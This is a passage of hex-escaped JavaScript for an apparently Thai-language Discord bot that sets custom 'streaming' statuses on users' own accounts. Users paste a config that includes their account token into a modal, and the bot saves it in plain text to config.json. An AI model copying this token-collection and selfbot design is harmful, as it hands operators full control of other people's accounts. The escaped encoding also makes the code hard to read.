a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20LargeText\x20=\x20replacePlaceholders(LargeText,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!LargeText.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeText(LargeText);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20setState\x20=\x20this.userConfig.setState[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20setState\x20=\x20replacePlaceholders(setState,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!setState.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setState(setState);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetlargeImageLink\x20=\x20this.userConfig.largeImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SetsmallImageLink\x20=\x20this.userConfig.smallImageLinks[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getImage(SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetlargeImageLink\x20&&\x20!SetlargeImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsLargeImage(images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(SetsmallImageLink\x20&&\x20!SetsmallImageLink.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setAssetsSmallImage(images.IMAGE_small);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setName(details)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setURL(this.userConfig.setURL[0])\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setStartTimestamp(Date_Time);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidUrl(this.userConfig.link1))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button1,\x20this.userConfig.link1);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(isValidUrl(this.userConfig.link2))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.addButton(this.userConfig.button2,\x20this.userConfig.link2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(richPresence);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x20(this.index\x20+\x201)\x20%\x20this.userConfig.largeImageLinks.length;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27เกิดข้อผิดพลาดในการอัปเดตสถานะ:\x27,\x20error.message);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.removeConfig();\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20async\x20getImage(SetlargeImageLink,\x20SetsmallImageLink)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20this.getExternal.get(this.userConfig,\x20SetlargeImageLink,\x20SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finallargeImage\x20=\x20images.BIGlargeIMAGE\x20??\x20this.cacheImage.get(SetlargeImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalSmallImage\x20=\x20images.IMAGE_small\x20??\x20this.cacheImage.get(SetsmallImageLink);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.BIGlargeIMAGE)\x20this.cacheImage.set(SetlargeImageLink,\x20images.BIGlargeIMAGE);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.IMAGE_small)\x20this.cacheImage.set(SetsmallImageLink,\x20images.IMAGE_small);\x0a\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20finallargeImage,\x20IMAGE_small:\x20finalSmallImage\x20};\x0a\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20updateConfig(newConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20stop()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20clearInterval(this.statusInterval);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(this.medmwng.user)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.user.setActivity(null);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.destroy();\x0a\x20\x20\x20\x20}\x0a}\x0a\x0aconst\x20isValidUrl\x20=\x20url\x20=>\x20{\x0a\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20}\x0a};\x0a\x0alet\x20clients\x20=\x20config.user.map(userConfig\x20=>\x20new\x20MyClient(userConfig));\x0a\x0aconst\x20updateClients\x20=\x20newConfig\x20=>\x20{\x0a\x20\x20\x20\x20const\x20newClientIds\x20=\x20newConfig.user.map(user\x20=>\x20user.applicationId);\x0a\x20\x20\x20\x20const\x20currentClientIds\x20=\x20clients.map(client\x20=>\x20client.userConfig.applicationId);\x0a\x0a\x20\x20\x20\x20clients.forEach(client\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!newClientIds.includes(client.userConfig.applicationId))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20client.stop();\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x0a\x20\x20\x20\x20const\x20updatedClients\x20=\x20[];\x0a\x20\x20\x20\x20newConfig.user.forEach(userConfig\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20existingClient\x20=\x20clients.find(client\x20=>\x20client.userConfig.applicationId\x20===\x20userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(existingClient)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20existingClient.updateConfig(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(existingClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newClient\x20=\x20new\x20MyClient(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updatedClients.push(newClient);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20});\x0a\x0a\x20\x20\x20\x20clients\x20=\x20updatedClients;\x0a};\x0a\x0alet\x20debounceTimeout;\x0afs.watch(config_path,\x20(eventType,\x20filename)\x20=>\x20{\x0a\x20\x20\x20\x20if\x20(eventType\x20===\x20\x27change\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(debounceTimeout)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20clearTimeout(debounceTimeout);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20debounceTimeout\x20=\x20setTimeout(()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newConfig\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20config\x20=\x20newConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20updateClients(newConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27เกิดข้อผิดพลาดในการอ่านไฟล์กำหนดค่าที่อัปเดต:\x27,\x20error.message);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20},\x20100);\x0a\x20\x20\x20\x20}\x0a});\x0a\x0aconst\x20{\x20Client,\x20GatewayIntentBits,\x20EmbedBuilder,\x20REST,\x20Routes,\x20SlashCommandBuilder,\x20ButtonBuilder,\x20ButtonStyle,\x20ActionRowBuilder,\x20ModalBuilder,\x20TextInputBuilder,\x20TextInputStyle,\x20PermissionsBitField\x20}\x20=\x20require(\x27discord.js\x27);\x0aconst\x20{\x20EmbedFrom,\x20ButtonFrom\x20}\x20=\x20require(\x27./embed.js\x27);\x0aconst\x20config\x20=\x20require(\x27./config.json\x27);\x0aconst\x20client\x20=\x20new\x20Client({\x0a\x20\x20\x20\x20\x20\x20\x20\x20intents:\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20GatewayIntentBits.Guilds,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20GatewayIntentBits.GuildMessages,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20GatewayIntentBits.MessageContent,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20GatewayIntentBits.GuildMembers,\x0a\x20\x20\x20\x20\x20\x20\x20\x20],\x0a});\x0a\x0aclient.once(\x27ready\x27,\x20async\x20()\x20=>\x20{\x0a\x20\x20\x20\x20console.log(\x27Logged\x20in\x20as\x20\x27\x20+\x20client.user.tag);\x0a\x20\x20\x20\x20const\x20commands\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20new\x20SlashCommandBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setName(\x27status\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setDescription(\x27📖\x20คำสั่งเปิดสถานะทำสตรีมมิ่ง\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.toJSON(),\x0a\x20\x20\x20\x20];\x0a\x20\x20\x20\x20const\x20rest\x20=\x20new\x20REST({\x20version:\x20\x2710\x27\x20}).setToken(config.TOKEN_BOT);\x0a\x20\x20\x20\x20async\x20function\x20main()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20rest.put(\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Routes.applicationCommands(client.user.id),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20{\x20body:\x20commands\x20},\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.error(\x27Error\x20refreshing\x20application\x20commands:\x27,\x20error);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20main();\x0a});\x0a\x0aclient.on(\x27interactionCreate\x27,\x20async\x20interaction\x20=>\x20{\x0a\x20\x20\x20\x20try{\x0a\x20\x20\x20\x20if\x20(!interaction.isCommand())\x20return;\x0a\x20\x20\x20\x20const\x20{\x20commandName\x20}\x20=\x20interaction;\x0a\x20\x20\x20\x20if\x20(commandName\x20===\x20\x27status\x27)\x20{\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!interaction.member\x20||\x20!interaction.member.permissions.has(PermissionsBitField.Flags.Administrator))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.deferReply({\x20ephemeral:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Embed_admin\x20=\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setColor(0xFF0033)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``❌``\x20**เอ้ะ!\x20คำสั่งสำหรับแอดมินเซิร์ฟเท่านั้น**\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.editReply({\x20embeds:\x20[Embed_admin]\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20embed\x20=\x20EmbedFrom(interaction);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20row\x20=\x20ButtonFrom(interaction);\x0a\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x20embeds:\x20[embed],\x20components:\x20[row]\x20});\x0a\x20\x20\x20\x20}\x0a}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20}\x0a}\x0a});\x0a\x0aclient.on(\x27interactionCreate\x27,\x20async\x20interaction\x20=>\x20{\x0a\x20\x20\x20\x20try{\x0a\x20\x20\x20\x20if\x20(!interaction.isButton())\x20return;\x0a\x20\x20\x20\x20if\x20(interaction.customId\x20===\x20\x22open\x22)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userID\x20=\x20interaction.user.id;\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20configPath\x20=\x20path.resolve(__dirname,\x20\x27config.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20configData;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData\x20=\x20JSON.parse(fs.readFileSync(configPath,\x20\x27utf-8\x27));\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData\x20=\x20{\x20user:\x20[]\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userData\x20=\x20configData.user.find(user\x20=>\x20user.applicationId\x20===\x20userID);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userConfig\x20=\x20userData\x20?\x20JSON.stringify(userData,\x20null,\x204)\x20:\x20\x27\x27;\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20modal\x20=\x20new\x20ModalBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setCustomId(\x27config_modal\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27ฐานข้อมูลทำสถานะ\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20medmwng\x20=\x20new\x20TextInputBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setCustomId(\x27medmwng_config\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setLabel(\x27CONFIG\x20ของคุณ\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setStyle(TextInputStyle.Paragraph)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setPlaceholder(\x27วางข้อมูล\x20CONFIG\x20ลงไป\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setRequired(true)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setValue(userConfig);\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20actionRow\x20=\x20new\x20ActionRowBuilder().addComponents(medmwng);\x0a\x20\x20\x20\x20\x20\x20\x20\x20modal.addComponents(actionRow);\x0a\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.showModal(modal);\x0a\x20\x20\x20\x20}\x0a}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20}\x0a}\x0a});\x0a\x0aclient.on(\x27interactionCreate\x27,\x20async\x20interaction\x20=>\x20{\x0a\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!interaction.isModalSubmit())\x20return;\x0a\x20\x20\x20\x20if\x20(interaction.customId\x20===\x20\x22config_modal\x22)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20medmwng;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20medmwng\x20=\x20JSON.parse(interaction.fields.getTextInputValue(\x22medmwng_config\x22));\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20embeds:\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``❌``\x20เอ้ะ!\x20เกิดข้อผิดพลาดในการส่ง\x20CONFIG\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.addFields({\x20name:\x20\x22>\x20กรุณาตรวจสอบตัวคลั่น\x20}{\x20ให้ครบถ้วน\x22,\x20value:\x20\x22_\x20_\x22})\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20],\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ephemeral:\x20true\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20requiredFields\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22token\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22setURL\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22Details\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22setState\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22LargeText\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22largeImageLinks\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22smallImageLinks\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22button1\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22link1\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22button2\x22,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22link2\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20missingFields\x20=\x20requiredFields.filter(field\x20=>\x20!medmwng.hasOwnProperty(field));\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(missingFields.length\x20>\x200)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20embeds:\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``❌``\x20เอ้ะ!\x20เกิดข้อผิดพลาดในการส่ง\x20CONFIG\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.addFields({\x20name:\x20`>\x20มีฟังชั่นที่ขาดหายไป\x20${missingFields.join(\x27,\x20\x27)}`,\x20value:\x20\x22_\x20_\x22})\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.addFields({\x20name:\x20`>\x20กรุณาตรวจสอบแล้วส่งใหม่อีกครั้ง!`,\x20value:\x20\x22_\x20_\x22})\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20],\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ephemeral:\x20true\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20applicationId\x20=\x20interaction.user.id;\x0a\x20\x20\x20\x20\x20\x20\x20\x20medmwng\x20=\x20{\x20applicationId,\x20...medmwng\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20configPath\x20=\x20path.resolve(__dirname,\x20\x27config.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20configData;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData\x20=\x20JSON.parse(fs.readFileSync(configPath,\x20\x27utf-8\x27));\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData\x20=\x20{\x20user:\x20[]\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userIndex\x20=\x20configData.user.findIndex(user\x20=>\x20user.applicationId\x20===\x20applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(userIndex\x20!==\x20-1)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData.user[userIndex]\x20=\x20medmwng;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20configData.user.push(medmwng);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(configPath,\x20JSON.stringify(configData,\x20null,\x204));\x0a\x20fom(interaction);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a});\x0a\x0aasync\x20function\x20fom(interaction)\x20{\x0a\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x20content:\x20\x27``✅``\x20**ตั้งค่าข้อมูลแล้วเช็คสถานะที่โปรไฟล์ของคุณ!**\x27,\x20ephemeral:\x20true\x20});\x0a\x20\x20\x20\x20}\x20catch\x20(error)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x2050035\x20||\x20error.status\x20==\x20400\x20||\x20error.code\x20===\x2010062\x20||\x20error.status\x20==\x20404\x20||\x20error.code\x20==\x2040060)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a};\x0a\x0aclient.on(\x27interactionCreate\x27,\x20async\x20interaction\x20=>\x20{\x0a\x20\x20\x20\x20if\x20(!interaction.isButton())\x20return;\x0a\x20\x20\x20\x20if\x20(interaction.customId\x20===\x20\x22offline\x22)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userId\x20=\x20interaction.user.id;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20filePath\x20=\x20path.join(__dirname,\x20\x27config.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20data\x20=\x20fs.readFileSync(filePath,\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20config\x20=\x20JSON.parse(data);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20initialUserCount\x20=\x20config.user.length;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20updatedUsers\x20=\x20config.user.filter(user\x20=>\x20user.applicationId\x20!==\x20userId);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(updatedUsers.length\x20===\x20initialUserCount)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20embedNotFound\x20=\x20new\x20EmbedBuilder()\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setColor(0x6633CC)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setTitle(\x27``✅``\x20**ปิดสถานะแล้ว!**\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20await\x20interaction.reply({\x20embeds:\x20[embedNotFound],\x20ephemeral:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20config.user\x20=\x20updatedUsers;\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(filePath,\x20JSON.stringify(config,\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x